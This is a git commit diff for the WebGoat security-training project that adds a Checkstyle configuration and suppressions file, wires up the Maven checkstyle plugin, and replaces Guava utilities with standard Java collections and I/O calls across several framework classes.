Code style (#696)
* Remove Guava dependency from WebGoat * Add Checkstyle to the project with very basic standards so we have a style across lessons. It does not interfere with basic Intellij formatting
This commit is contained in:
parent
66bd1d8c1a
commit
1a83e2825e
259
config/checkstyle/checkstyle.xml
Executable file
259
config/checkstyle/checkstyle.xml
Executable file
@ -0,0 +1,259 @@
|
||||
<?xml version="1.0"?>
|
||||
<!DOCTYPE module PUBLIC
|
||||
"-//Puppy Crawl//DTD Check Configuration 1.3//EN"
|
||||
"http://checkstyle.sourceforge.net/dtds/configuration_1_3.dtd">
|
||||
|
||||
<!--
|
||||
Checkstyle configuration that checks the Google coding conventions from Google Java Style
|
||||
that can be found at https://google.github.io/styleguide/javaguide.html.
|
||||
|
||||
Checkstyle is very configurable. Be sure to read the documentation at
|
||||
http://checkstyle.sf.net (or in your downloaded distribution).
|
||||
|
||||
To completely disable a check, just comment it out or delete it from the file.
|
||||
|
||||
Authors: Max Vetrenko, Ruslan Diachenko, Roman Ivanov.
|
||||
-->
|
||||
|
||||
<module name="Checker">
|
||||
<property name="charset" value="UTF-8"/>
|
||||
|
||||
<property name="severity" value="error"/>
|
||||
|
||||
<property name="fileExtensions" value="java, properties, xml"/>
|
||||
<!-- Checks for whitespace -->
|
||||
<!-- See http://checkstyle.sf.net/config_whitespace.html -->
|
||||
|
||||
<module name="SuppressionFilter">
|
||||
<property name="file" value="${suppressionsLocation}" default="target/checkstyle-suppressions.xml"/>
|
||||
</module>
|
||||
<module name="TreeWalker">
|
||||
<module name="com.puppycrawl.tools.checkstyle.checks.regexp.RegexpSinglelineJavaCheck">
|
||||
<property name="maximum" value="0"/>
|
||||
<property name="format" value="org\.junit\.Assert\.assert"/>
|
||||
<property name="message"
|
||||
value="Please use AssertJ imports."/>
|
||||
<property name="ignoreComments" value="true"/>
|
||||
</module>
|
||||
<module
|
||||
name="com.puppycrawl.tools.checkstyle.checks.imports.IllegalImportCheck">
|
||||
<property name="regexp" value="true"/>
|
||||
<property name="illegalPkgs"
|
||||
value="^sun.*, ^org\.apache\.commons\.(?!compress|dbcp2|lang|lang3|logging|io|pool2).*, ^org\.flywaydb\.core\.internal.*, ^org\.testcontainers\.shaded.*"/>
|
||||
<property name="illegalClasses"
|
||||
value="^com\.hazelcast\.util\.Base64, ^org\.junit\.rules\.ExpectedException, ^org\.slf4j\.LoggerFactory, ^reactor\.core\.support\.Assert, ^com\.google\.common\.collect\.Maps, ^com\.google\.common\.collect\.Sets, ^com\.google\.common\.collect\.Lists"/>
|
||||
</module>
|
||||
<module
|
||||
name="com.puppycrawl.tools.checkstyle.checks.regexp.RegexpSinglelineJavaCheck">
|
||||
<property name="maximum" value="0"/>
|
||||
<property name="format"
|
||||
value="assertThatExceptionOfType\((NullPointerException|IllegalArgumentException|IOException|IllegalStateException)\.class\)"/>
|
||||
<property name="message"
|
||||
value="Please use specialized AssertJ assertThat*Exception method."/>
|
||||
<property name="ignoreComments" value="true"/>
|
||||
</module>
|
||||
<module
|
||||
name="com.puppycrawl.tools.checkstyle.checks.regexp.RegexpSinglelineJavaCheck">
|
||||
<property name="maximum" value="0"/>
|
||||
<property name="format"
|
||||
value="@SneakyThrows"/>
|
||||
<property name="message"
|
||||
value="Please use a unchecked exceptions instead of @SneakyThrows gives compiler warnings"/>
|
||||
<property name="ignoreComments" value="true"/>
|
||||
</module>
|
||||
<module name="OuterTypeFilename"/>
|
||||
<module name="IllegalTokenText">
|
||||
<property name="tokens" value="STRING_LITERAL, CHAR_LITERAL"/>
|
||||
<property name="format"
|
||||
value="\\u00(09|0(a|A)|0(c|C)|0(d|D)|22|27|5(C|c))|\\(0(10|11|12|14|15|42|47)|134)"/>
|
||||
<property name="message"
|
||||
value="Consider using special escape sequence instead of octal value or Unicode escaped value."/>
|
||||
</module>
|
||||
<module name="AvoidEscapedUnicodeCharacters">
|
||||
<property name="allowEscapesForControlCharacters" value="true"/>
|
||||
<property name="allowByTailComment" value="true"/>
|
||||
<property name="allowNonPrintableEscapes" value="true"/>
|
||||
</module>
|
||||
<module name="OneTopLevelClass">
|
||||
<property name="severity" value="warning"/>
|
||||
</module>
|
||||
<module name="NoLineWrap"/>
|
||||
<module name="EmptyBlock">
|
||||
<property name="option" value="TEXT"/>
|
||||
<property name="tokens" value="LITERAL_TRY, LITERAL_FINALLY, LITERAL_IF, LITERAL_ELSE, LITERAL_SWITCH"/>
|
||||
</module>
|
||||
<module name="WhitespaceAround">
|
||||
<property name="allowEmptyConstructors" value="true"/>
|
||||
<property name="allowEmptyMethods" value="true"/>
|
||||
<property name="allowEmptyTypes" value="true"/>
|
||||
<property name="allowEmptyLoops" value="true"/>
|
||||
<message key="ws.notFollowed"
|
||||
value="WhitespaceAround: ''{0}'' is not followed by whitespace. Empty blocks may only be represented as '{}' when not part of a multi-block statement (4.1.3)"/>
|
||||
<message key="ws.notPreceded"
|
||||
value="WhitespaceAround: ''{0}'' is not preceded with whitespace."/>
|
||||
</module>
|
||||
<module name="OneStatementPerLine"/>
|
||||
<module name="MultipleVariableDeclarations"/>
|
||||
<module name="ArrayTypeStyle"/>
|
||||
<module name="MissingSwitchDefault"/>
|
||||
<module name="FallThrough"/>
|
||||
<module name="UpperEll"/>
|
||||
<module name="ModifierOrder"/>
|
||||
<module name="EmptyLineSeparator">
|
||||
<property name="allowNoEmptyLineBetweenFields" value="true"/>
|
||||
</module>
|
||||
<module name="SeparatorWrap">
|
||||
<property name="id" value="SeparatorWrapDot"/>
|
||||
<property name="tokens" value="DOT"/>
|
||||
<property name="option" value="nl"/>
|
||||
</module>
|
||||
<module name="SeparatorWrap">
|
||||
<property name="id" value="SeparatorWrapComma"/>
|
||||
<property name="tokens" value="COMMA"/>
|
||||
<property name="option" value="EOL"/>
|
||||
</module>
|
||||
<module name="SeparatorWrap">
|
||||
<!-- ELLIPSIS is EOL until https://github.com/google/styleguide/issues/258 -->
|
||||
<property name="id" value="SeparatorWrapEllipsis"/>
|
||||
<property name="tokens" value="ELLIPSIS"/>
|
||||
<property name="option" value="EOL"/>
|
||||
</module>
|
||||
<module name="SeparatorWrap">
|
||||
<!-- ARRAY_DECLARATOR is EOL until https://github.com/google/styleguide/issues/259 -->
|
||||
<property name="id" value="SeparatorWrapArrayDeclarator"/>
|
||||
<property name="tokens" value="ARRAY_DECLARATOR"/>
|
||||
<property name="option" value="EOL"/>
|
||||
</module>
|
||||
<module name="SeparatorWrap">
|
||||
<property name="id" value="SeparatorWrapMethodRef"/>
|
||||
<property name="tokens" value="METHOD_REF"/>
|
||||
<property name="option" value="nl"/>
|
||||
</module>
|
||||
<module name="PackageName">
|
||||
<property name="format" value="^[a-z]+(\.[a-z_][a-z0-9_]*)*$"/>
|
||||
<message key="name.invalidPattern"
|
||||
value="Package name ''{0}'' must match pattern ''{1}''."/>
|
||||
</module>
|
||||
<module name="TypeName">
|
||||
<message key="name.invalidPattern"
|
||||
value="Type name ''{0}'' must match pattern ''{1}''."/>
|
||||
</module>
|
||||
<module name="MemberName">
|
||||
<property name="format" value="^[a-z][a-z0-9][a-zA-Z0-9]*$"/>
|
||||
<message key="name.invalidPattern"
|
||||
value="Member name ''{0}'' must match pattern ''{1}''."/>
|
||||
</module>
|
||||
<module name="ParameterName">
|
||||
<property name="format" value="^[a-z]([a-z0-9][a-zA-Z0-9_]*)?$"/>
|
||||
<message key="name.invalidPattern"
|
||||
value="Parameter name ''{0}'' must match pattern ''{1}''."/>
|
||||
</module>
|
||||
<module name="CatchParameterName">
|
||||
<property name="format" value="^[a-z]([a-z0-9][a-zA-Z0-9]*)?$"/>
|
||||
<message key="name.invalidPattern"
|
||||
value="Catch parameter name ''{0}'' must match pattern ''{1}''."/>
|
||||
</module>
|
||||
<module name="LocalVariableName">
|
||||
<property name="tokens" value="VARIABLE_DEF"/>
|
||||
<property name="format" value="^[a-z]([a-z0-9][a-zA-Z0-9]*)?$"/>
|
||||
<message key="name.invalidPattern"
|
||||
value="Local variable name ''{0}'' must match pattern ''{1}''."/>
|
||||
</module>
|
||||
<module name="ClassTypeParameterName">
|
||||
<property name="format" value="(^[A-Z][0-9]?)$|([A-Z][a-zA-Z0-9]*[T]$)"/>
|
||||
<message key="name.invalidPattern"
|
||||
value="Class type name ''{0}'' must match pattern ''{1}''."/>
|
||||
</module>
|
||||
<module name="MethodTypeParameterName">
|
||||
<property name="format" value="(^[A-Z][0-9]?)$|([A-Z][a-zA-Z0-9]*[T]$)"/>
|
||||
<message key="name.invalidPattern"
|
||||
value="Method type name ''{0}'' must match pattern ''{1}''."/>
|
||||
</module>
|
||||
<module name="InterfaceTypeParameterName">
|
||||
<property name="format" value="(^[A-Z][0-9]?)$|([A-Z][a-zA-Z0-9]*[T]$)"/>
|
||||
<message key="name.invalidPattern"
|
||||
value="Interface type name ''{0}'' must match pattern ''{1}''."/>
|
||||
</module>
|
||||
<module name="NoFinalizer"/>
|
||||
<module name="GenericWhitespace">
|
||||
<message key="ws.followed"
|
||||
value="GenericWhitespace ''{0}'' is followed by whitespace."/>
|
||||
<message key="ws.preceded"
|
||||
value="GenericWhitespace ''{0}'' is preceded with whitespace."/>
|
||||
<message key="ws.illegalFollow"
|
||||
value="GenericWhitespace ''{0}'' should followed by whitespace."/>
|
||||
<message key="ws.notPreceded"
|
||||
value="GenericWhitespace ''{0}'' is not preceded with whitespace."/>
|
||||
</module>
|
||||
<module name="AbbreviationAsWordInName">
|
||||
<property name="ignoreFinal" value="false"/>
|
||||
<property name="allowedAbbreviationLength" value="4"/>
|
||||
<property name="severity" value="warning"/>
|
||||
</module>
|
||||
<module name="OverloadMethodsDeclarationOrder"/>
|
||||
<module name="VariableDeclarationUsageDistance"/>
|
||||
<module name="CustomImportOrder">
|
||||
<property name="sortImportsInGroupAlphabetically" value="false"/>
|
||||
<property name="separateLineBetweenGroups" value="true"/>
|
||||
<property name="customImportOrderRules" value="THIRD_PARTY_PACKAGE###STATIC"/>
|
||||
</module>
|
||||
<module name="MethodParamPad"/>
|
||||
<module name="NoWhitespaceBefore">
|
||||
<property name="tokens" value="COMMA, SEMI, POST_INC, POST_DEC, DOT, ELLIPSIS, METHOD_REF"/>
|
||||
<property name="allowLineBreaks" value="true"/>
|
||||
</module>
|
||||
<module name="ParenPad"/>
|
||||
<module name="OperatorWrap">
|
||||
<property name="option" value="NL"/>
|
||||
<property name="tokens"
|
||||
value="BAND, BOR, BSR, BXOR, DIV, EQUAL, GE, GT, LAND, LE, LITERAL_INSTANCEOF, LOR, LT, MINUS, MOD, NOT_EQUAL, PLUS, QUESTION, SL, SR, STAR, METHOD_REF "/>
|
||||
</module>
|
||||
<module name="AnnotationLocation">
|
||||
<property name="id" value="AnnotationLocationMostCases"/>
|
||||
<property name="tokens" value="CLASS_DEF, INTERFACE_DEF, ENUM_DEF, METHOD_DEF, CTOR_DEF"/>
|
||||
</module>
|
||||
<module name="AnnotationLocation">
|
||||
<property name="id" value="AnnotationLocationVariables"/>
|
||||
<property name="tokens" value="VARIABLE_DEF"/>
|
||||
<property name="allowSamelineMultipleAnnotations" value="true"/>
|
||||
</module>
|
||||
<module name="NonEmptyAtclauseDescription"/>
|
||||
<module name="JavadocTagContinuationIndentation"/>
|
||||
<module name="SummaryJavadoc">
|
||||
<property name="forbiddenSummaryFragments"
|
||||
value="^@return the *|^This method returns |^A [{]@code [a-zA-Z0-9]+[}]( is a )"/>
|
||||
<property name="severity" value="warning"/>
|
||||
</module>
|
||||
<module name="JavadocParagraph">
|
||||
<property name="severity" value="warning"/>
|
||||
</module>
|
||||
<module name="AtclauseOrder">
|
||||
<property name="tagOrder" value="@param, @return, @throws, @deprecated"/>
|
||||
<property name="target" value="CLASS_DEF, INTERFACE_DEF, ENUM_DEF, METHOD_DEF, CTOR_DEF, VARIABLE_DEF"/>
|
||||
<property name="severity" value="warning"/>
|
||||
</module>
|
||||
<module name="JavadocMethod">
|
||||
<property name="tokens" value="CLASS_DEF,INTERFACE_DEF,ENUM_DEF,METHOD_DEF,ANNOTATION_FIELD_DEF"/>
|
||||
<property name="scope" value="public"/>
|
||||
<property name="allowMissingParamTags" value="true"/>
|
||||
<property name="allowMissingThrowsTags" value="true"/>
|
||||
<property name="allowMissingReturnTag" value="true"/>
|
||||
<property name="minLineCount" value="2"/>
|
||||
<property name="allowedAnnotations" value="Override, Test"/>
|
||||
<property name="allowThrowsTagsForSubclasses" value="true"/>
|
||||
<property name="severity" value="warning"/>
|
||||
</module>
|
||||
<module name="MethodName">
|
||||
<property name="format" value="^[a-z][a-z0-9][a-zA-Z0-9_]*$"/>
|
||||
<message key="name.invalidPattern"
|
||||
value="Method name ''{0}'' must match pattern ''{1}''."/>
|
||||
</module>
|
||||
<module name="SingleLineJavadoc">
|
||||
<property name="ignoreInlineTags" value="false"/>
|
||||
</module>
|
||||
<module name="EmptyCatchBlock">
|
||||
<property name="exceptionVariableName" value="expected"/>
|
||||
</module>
|
||||
<module name="CommentsIndentation"/>
|
||||
</module>
|
||||
</module>
|
11
config/checkstyle/suppressions.xml
Normal file
11
config/checkstyle/suppressions.xml
Normal file
@ -0,0 +1,11 @@
|
||||
<?xml version="1.0"?>
|
||||
<!DOCTYPE suppressions PUBLIC
|
||||
"-//Checkstyle//DTD SuppressionFilter Configuration 1.2//EN"
|
||||
"https://checkstyle.org/dtds/suppressions_1_2.dtd">
|
||||
<suppressions>
|
||||
<suppress files="MD5.java" checks="[a-zA-Z0-9]*" />
|
||||
<suppress files="VulnerableComponentsLesson.java" checks="[a-zA-Z0-9]*" />
|
||||
<suppress files="ContentTypeAssignment.java" checks="IllegalImportCheck" />
|
||||
<suppress files="SimpleXXE.java" checks="IllegalImportCheck" />
|
||||
<suppress files="HtmlTamperingTask.java" checks="ParameterName" />
|
||||
</suppressions>
|
13
pom.xml
13
pom.xml
@ -178,6 +178,19 @@
|
||||
<encoding>UTF-8</encoding>
|
||||
</configuration>
|
||||
</plugin>
|
||||
<plugin>
|
||||
<groupId>org.apache.maven.plugins</groupId>
|
||||
<artifactId>maven-checkstyle-plugin</artifactId>
|
||||
<version>3.1.0</version>
|
||||
<configuration>
|
||||
<encoding>UTF-8</encoding>
|
||||
<consoleOutput>true</consoleOutput>
|
||||
<failsOnError>true</failsOnError>
|
||||
<configLocation>config/checkstyle/checkstyle.xml</configLocation>
|
||||
<suppressionsLocation>config/checkstyle/suppressions.xml</suppressionsLocation>
|
||||
<suppressionsFileExpression>checkstyle.suppressions.file</suppressionsFileExpression>
|
||||
</configuration>
|
||||
</plugin>
|
||||
</plugins>
|
||||
</build>
|
||||
|
||||
|
@ -116,11 +116,6 @@
|
||||
<artifactId>commons-lang3</artifactId>
|
||||
<version>${commons-lang3.version}</version>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>com.google.guava</groupId>
|
||||
<artifactId>guava</artifactId>
|
||||
<version>${guava.version}</version>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>org.springframework.boot</groupId>
|
||||
<artifactId>spring-boot-starter-security</artifactId>
|
||||
|
@ -49,7 +49,7 @@ public class AjaxAuthenticationEntryPoint extends LoginUrlAuthenticationEntryPoi
|
||||
}
|
||||
|
||||
public void commence(HttpServletRequest request, HttpServletResponse response, AuthenticationException authException) throws IOException, ServletException {
|
||||
if(request.getHeader("x-requested-with") != null) {
|
||||
if (request.getHeader("x-requested-with") != null) {
|
||||
response.sendError(401, authException.getMessage());
|
||||
} else {
|
||||
super.commence(request, response, authException);
|
||||
|
@ -28,18 +28,13 @@
|
||||
* @version $Id: $Id
|
||||
* @since December 12, 2015
|
||||
*/
|
||||
|
||||
package org.owasp.webgoat;
|
||||
|
||||
import com.google.common.collect.Maps;
|
||||
import com.google.common.collect.Sets;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import org.asciidoctor.Asciidoctor;
|
||||
import org.asciidoctor.extension.JavaExtensionRegistry;
|
||||
import org.owasp.webgoat.asciidoc.OperatingSystemMacro;
|
||||
import org.owasp.webgoat.asciidoc.WebGoatTmpDirMacro;
|
||||
import org.owasp.webgoat.asciidoc.WebGoatVersionMacro;
|
||||
import org.owasp.webgoat.asciidoc.WebWolfMacro;
|
||||
import org.owasp.webgoat.asciidoc.WebWolfRootMacro;
|
||||
import org.owasp.webgoat.asciidoc.*;
|
||||
import org.owasp.webgoat.i18n.Language;
|
||||
import org.thymeleaf.IEngineConfiguration;
|
||||
import org.thymeleaf.templateresolver.FileTemplateResolver;
|
||||
@ -50,7 +45,9 @@ import java.io.IOException;
|
||||
import java.io.InputStream;
|
||||
import java.io.InputStreamReader;
|
||||
import java.io.StringWriter;
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
import java.util.Set;
|
||||
|
||||
import static org.asciidoctor.Asciidoctor.Factory.create;
|
||||
|
||||
@ -70,7 +67,7 @@ public class AsciiDoctorTemplateResolver extends FileTemplateResolver {
|
||||
|
||||
public AsciiDoctorTemplateResolver(Language language) {
|
||||
this.language = language;
|
||||
setResolvablePatterns(Sets.newHashSet(PREFIX + "*"));
|
||||
setResolvablePatterns(Set.of(PREFIX + "*"));
|
||||
}
|
||||
|
||||
@Override
|
||||
@ -81,7 +78,6 @@ public class AsciiDoctorTemplateResolver extends FileTemplateResolver {
|
||||
log.warn("Resource name: {} not found, did you add the adoc file?", templateName);
|
||||
return new StringTemplateResource("");
|
||||
} else {
|
||||
StringWriter writer = new StringWriter();
|
||||
JavaExtensionRegistry extensionRegistry = asciidoctor.javaExtensionRegistry();
|
||||
extensionRegistry.inlineMacro("webWolfLink", WebWolfMacro.class);
|
||||
extensionRegistry.inlineMacro("webWolfRootLink", WebWolfRootMacro.class);
|
||||
@ -89,6 +85,7 @@ public class AsciiDoctorTemplateResolver extends FileTemplateResolver {
|
||||
extensionRegistry.inlineMacro("webGoatTempDir", WebGoatTmpDirMacro.class);
|
||||
extensionRegistry.inlineMacro("operatingSystem", OperatingSystemMacro.class);
|
||||
|
||||
StringWriter writer = new StringWriter();
|
||||
asciidoctor.convert(new InputStreamReader(is), writer, createAttributes());
|
||||
return new StringTemplateResource(writer.getBuffer().toString());
|
||||
}
|
||||
@ -115,11 +112,11 @@ public class AsciiDoctorTemplateResolver extends FileTemplateResolver {
|
||||
}
|
||||
|
||||
private Map<String, Object> createAttributes() {
|
||||
Map<String, Object> attributes = Maps.newHashMap();
|
||||
Map<String, Object> attributes = new HashMap<>();
|
||||
attributes.put("source-highlighter", "coderay");
|
||||
attributes.put("backend", "xhtml");
|
||||
|
||||
Map<String, Object> options = Maps.newHashMap();
|
||||
Map<String, Object> options = new HashMap<>();
|
||||
options.put("attributes", attributes);
|
||||
|
||||
return options;
|
||||
|
@ -28,11 +28,9 @@
|
||||
* @version $Id: $Id
|
||||
* @since October 28, 2003
|
||||
*/
|
||||
|
||||
package org.owasp.webgoat;
|
||||
|
||||
import com.google.common.collect.Maps;
|
||||
import com.google.common.collect.Sets;
|
||||
import com.google.common.io.ByteStreams;
|
||||
import org.springframework.core.io.ResourceLoader;
|
||||
import org.thymeleaf.IEngineConfiguration;
|
||||
import org.thymeleaf.templateresolver.FileTemplateResolver;
|
||||
@ -41,7 +39,9 @@ import org.thymeleaf.templateresource.StringTemplateResource;
|
||||
|
||||
import java.io.IOException;
|
||||
import java.nio.charset.StandardCharsets;
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
import java.util.Set;
|
||||
|
||||
/**
|
||||
* Dynamically resolve a lesson. In the html file this can be invoked as:
|
||||
@ -54,13 +54,13 @@ import java.util.Map;
|
||||
*/
|
||||
public class LessonTemplateResolver extends FileTemplateResolver {
|
||||
|
||||
private final static String PREFIX = "lesson:";
|
||||
private static final String PREFIX = "lesson:";
|
||||
private ResourceLoader resourceLoader;
|
||||
private Map<String, byte[]> resources = Maps.newHashMap();
|
||||
private Map<String, byte[]> resources = new HashMap<>();
|
||||
|
||||
public LessonTemplateResolver(ResourceLoader resourceLoader) {
|
||||
this.resourceLoader = resourceLoader;
|
||||
setResolvablePatterns(Sets.newHashSet(PREFIX + "*"));
|
||||
setResolvablePatterns(Set.of(PREFIX + "*"));
|
||||
}
|
||||
|
||||
@Override
|
||||
@ -69,7 +69,7 @@ public class LessonTemplateResolver extends FileTemplateResolver {
|
||||
byte[] resource = resources.get(templateName);
|
||||
if (resource == null) {
|
||||
try {
|
||||
resource = ByteStreams.toByteArray(resourceLoader.getResource("classpath:/html/" + templateName + ".html").getInputStream());
|
||||
resource = resourceLoader.getResource("classpath:/html/" + templateName + ".html").getInputStream().readAllBytes();
|
||||
} catch (IOException e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
|
@ -28,6 +28,7 @@
|
||||
* @version $Id: $Id
|
||||
* @since October 28, 2003
|
||||
*/
|
||||
|
||||
package org.owasp.webgoat;
|
||||
|
||||
import org.owasp.webgoat.i18n.Language;
|
||||
@ -122,11 +123,6 @@ public class MvcConfiguration implements WebMvcConfigurer {
|
||||
return engine;
|
||||
}
|
||||
|
||||
/**
|
||||
* This way we expose the plugins target directory as a resource within the web application.
|
||||
*
|
||||
* @param registry
|
||||
*/
|
||||
@Override
|
||||
public void addResourceHandlers(ResourceHandlerRegistry registry) {
|
||||
registry.addResourceHandler("/images/**").addResourceLocations("classpath:/images/");
|
||||
|
@ -28,6 +28,7 @@
|
||||
* @version $Id: $Id
|
||||
* @since October 28, 2003
|
||||
*/
|
||||
|
||||
package org.owasp.webgoat;
|
||||
|
||||
import org.owasp.webgoat.session.UserSessionData;
|
||||
|
@ -1,4 +1,3 @@
|
||||
|
||||
/**
|
||||
* ************************************************************************************************
|
||||
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
|
||||
@ -28,6 +27,7 @@
|
||||
* @version $Id: $Id
|
||||
* @since December 12, 2015
|
||||
*/
|
||||
|
||||
package org.owasp.webgoat;
|
||||
|
||||
import lombok.AllArgsConstructor;
|
||||
@ -38,7 +38,6 @@ import org.springframework.context.annotation.Configuration;
|
||||
import org.springframework.security.authentication.AuthenticationManager;
|
||||
import org.springframework.security.config.annotation.authentication.builders.AuthenticationManagerBuilder;
|
||||
import org.springframework.security.config.annotation.web.builders.HttpSecurity;
|
||||
import org.springframework.security.config.annotation.web.builders.WebSecurity;
|
||||
import org.springframework.security.config.annotation.web.configuration.EnableWebSecurity;
|
||||
import org.springframework.security.config.annotation.web.configuration.WebSecurityConfigurerAdapter;
|
||||
import org.springframework.security.config.annotation.web.configurers.ExpressionUrlAuthorizationConfigurer;
|
||||
|
@ -22,6 +22,7 @@
|
||||
* projects.
|
||||
* <p>
|
||||
*/
|
||||
|
||||
package org.owasp.webgoat.assignments;
|
||||
|
||||
import lombok.Getter;
|
||||
|
@ -1,7 +1,5 @@
|
||||
package org.owasp.webgoat.assignments;
|
||||
|
||||
import org.springframework.core.annotation.AliasFor;
|
||||
import org.springframework.web.bind.annotation.RequestMapping;
|
||||
import org.springframework.web.bind.annotation.RequestMethod;
|
||||
|
||||
import java.lang.annotation.ElementType;
|
||||
@ -14,15 +12,11 @@ import java.lang.annotation.Target;
|
||||
*/
|
||||
@Target(ElementType.TYPE)
|
||||
@Retention(RetentionPolicy.RUNTIME)
|
||||
//@RequestMapping
|
||||
public @interface AssignmentPath {
|
||||
|
||||
// @AliasFor(annotation = RequestMapping.class)
|
||||
String[] path() default {};
|
||||
|
||||
// @AliasFor(annotation = RequestMapping.class)
|
||||
RequestMethod[] method() default {};
|
||||
|
||||
// @AliasFor("path")
|
||||
String value() default "";
|
||||
}
|
||||
|
@ -25,7 +25,6 @@
|
||||
|
||||
package org.owasp.webgoat.assignments;
|
||||
|
||||
import com.google.common.base.Strings;
|
||||
import lombok.Getter;
|
||||
import org.apache.commons.lang3.StringEscapeUtils;
|
||||
import org.owasp.webgoat.i18n.PluginMessages;
|
||||
|
@ -28,6 +28,7 @@
|
||||
* @version $Id: $Id
|
||||
* @since October 28, 2003
|
||||
*/
|
||||
|
||||
package org.owasp.webgoat.controller;
|
||||
|
||||
import org.owasp.webgoat.lessons.Lesson;
|
||||
|
@ -28,6 +28,7 @@
|
||||
* @since October 28, 2003
|
||||
* @version $Id: $Id
|
||||
*/
|
||||
|
||||
package org.owasp.webgoat.controller;
|
||||
|
||||
import org.springframework.stereotype.Controller;
|
||||
|
@ -22,6 +22,7 @@
|
||||
* projects.
|
||||
* <p>
|
||||
*/
|
||||
|
||||
package org.owasp.webgoat.i18n;
|
||||
|
||||
import lombok.AllArgsConstructor;
|
||||
|
@ -25,9 +25,10 @@
|
||||
|
||||
package org.owasp.webgoat.i18n;
|
||||
|
||||
import lombok.SneakyThrows;
|
||||
import org.springframework.context.support.ReloadableResourceBundleMessageSource;
|
||||
|
||||
import java.io.IOException;
|
||||
import java.net.URISyntaxException;
|
||||
import java.net.URL;
|
||||
import java.util.Enumeration;
|
||||
import java.util.Properties;
|
||||
@ -50,18 +51,23 @@ public class PluginMessages extends ReloadableResourceBundleMessageSource {
|
||||
}
|
||||
|
||||
@Override
|
||||
@SneakyThrows
|
||||
protected PropertiesHolder refreshProperties(String filename, PropertiesHolder propHolder) {
|
||||
Properties properties = new Properties();
|
||||
long lastModified = System.currentTimeMillis();
|
||||
|
||||
Enumeration<URL> resources = Thread.currentThread().getContextClassLoader().getResources(filename + PROPERTIES_SUFFIX);
|
||||
Enumeration<URL> resources = null;
|
||||
try {
|
||||
resources = Thread.currentThread().getContextClassLoader().getResources(filename + PROPERTIES_SUFFIX);
|
||||
while (resources.hasMoreElements()) {
|
||||
URL resource = resources.nextElement();
|
||||
String sourcePath = resource.toURI().toString().replace(PROPERTIES_SUFFIX, "");
|
||||
PropertiesHolder holder = super.refreshProperties(sourcePath, propHolder);
|
||||
properties.putAll(holder.getProperties());
|
||||
}
|
||||
} catch (IOException | URISyntaxException e) {
|
||||
logger.error("Unable to read plugin message", e);
|
||||
}
|
||||
|
||||
return new PropertiesHolder(properties, lastModified);
|
||||
}
|
||||
|
||||
|
@ -1,9 +1,9 @@
|
||||
package org.owasp.webgoat.lessons;
|
||||
|
||||
import com.google.common.collect.Lists;
|
||||
import lombok.*;
|
||||
|
||||
import javax.persistence.*;
|
||||
import java.util.ArrayList;
|
||||
import java.util.List;
|
||||
|
||||
/**
|
||||
@ -54,7 +54,7 @@ public class Assignment {
|
||||
}
|
||||
|
||||
public Assignment(String name) {
|
||||
this(name, name, Lists.newArrayList());
|
||||
this(name, name, new ArrayList<>());
|
||||
}
|
||||
|
||||
public Assignment(String name, String path, List<String> hints) {
|
||||
@ -70,7 +70,8 @@ public class Assignment {
|
||||
* Set path is here to overwrite stored paths.
|
||||
* Since a stored path can no longer be used in a lesson while
|
||||
* the lesson (name) itself is still part of the lesson.
|
||||
* @param pathName
|
||||
*
|
||||
* @param pathName the path
|
||||
*/
|
||||
public void setPath(String pathName) {
|
||||
this.path = pathName;
|
||||
|
@ -24,6 +24,7 @@
|
||||
* projects.
|
||||
*
|
||||
*/
|
||||
|
||||
package org.owasp.webgoat.lessons;
|
||||
|
||||
import lombok.Value;
|
||||
|
@ -1,32 +1,32 @@
|
||||
/**
|
||||
* *************************************************************************************************
|
||||
*
|
||||
*
|
||||
* <p>
|
||||
* <p>
|
||||
* This file is part of WebGoat, an Open Web Application Security Project
|
||||
* utility. For details, please see http://www.owasp.org/
|
||||
*
|
||||
* <p>
|
||||
* Copyright (c) 2002 - 20014 Bruce Mayhew
|
||||
*
|
||||
* <p>
|
||||
* This program is free software; you can redistribute it and/or modify it under
|
||||
* the terms of the GNU General Public License as published by the Free Software
|
||||
* Foundation; either version 2 of the License, or (at your option) any later
|
||||
* version.
|
||||
*
|
||||
* <p>
|
||||
* This program is distributed in the hope that it will be useful, but WITHOUT
|
||||
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
* details.
|
||||
*
|
||||
* <p>
|
||||
* You should have received a copy of the GNU General Public License along with
|
||||
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
|
||||
* Place - Suite 330, Boston, MA 02111-1307, USA.
|
||||
*
|
||||
* <p>
|
||||
* Getting Source ==============
|
||||
*
|
||||
* <p>
|
||||
* Source for this application is maintained at
|
||||
* https://github.com/WebGoat/WebGoat, a repository for free software projects.
|
||||
*
|
||||
*/
|
||||
|
||||
package org.owasp.webgoat.lessons;
|
||||
|
||||
import java.util.ArrayList;
|
||||
@ -46,8 +46,6 @@ public class LessonMenuItem {
|
||||
private boolean complete;
|
||||
private String link;
|
||||
private int ranking;
|
||||
// private boolean showSource = true;
|
||||
// private boolean showHints = true;
|
||||
|
||||
/**
|
||||
* <p>Getter for the field <code>name</code>.</p>
|
||||
@ -112,7 +110,6 @@ public class LessonMenuItem {
|
||||
children.add(child);
|
||||
}
|
||||
|
||||
/** {@inheritDoc} */
|
||||
@Override
|
||||
public String toString() {
|
||||
StringBuilder bldr = new StringBuilder();
|
||||
|
@ -27,6 +27,7 @@
|
||||
* for free software projects.
|
||||
*
|
||||
*/
|
||||
|
||||
package org.owasp.webgoat.lessons;
|
||||
|
||||
/**
|
||||
@ -69,7 +70,6 @@ public class RequestParameter implements Comparable<RequestParameter> {
|
||||
return value;
|
||||
}
|
||||
|
||||
/** {@inheritDoc} */
|
||||
@Override
|
||||
public int compareTo(RequestParameter o) {
|
||||
return this.name.compareTo(o.getName());
|
||||
|
@ -19,9 +19,9 @@
|
||||
*
|
||||
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
|
||||
*/
|
||||
|
||||
package org.owasp.webgoat.plugins;
|
||||
|
||||
import com.google.common.collect.Lists;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import org.apache.commons.lang3.ArrayUtils;
|
||||
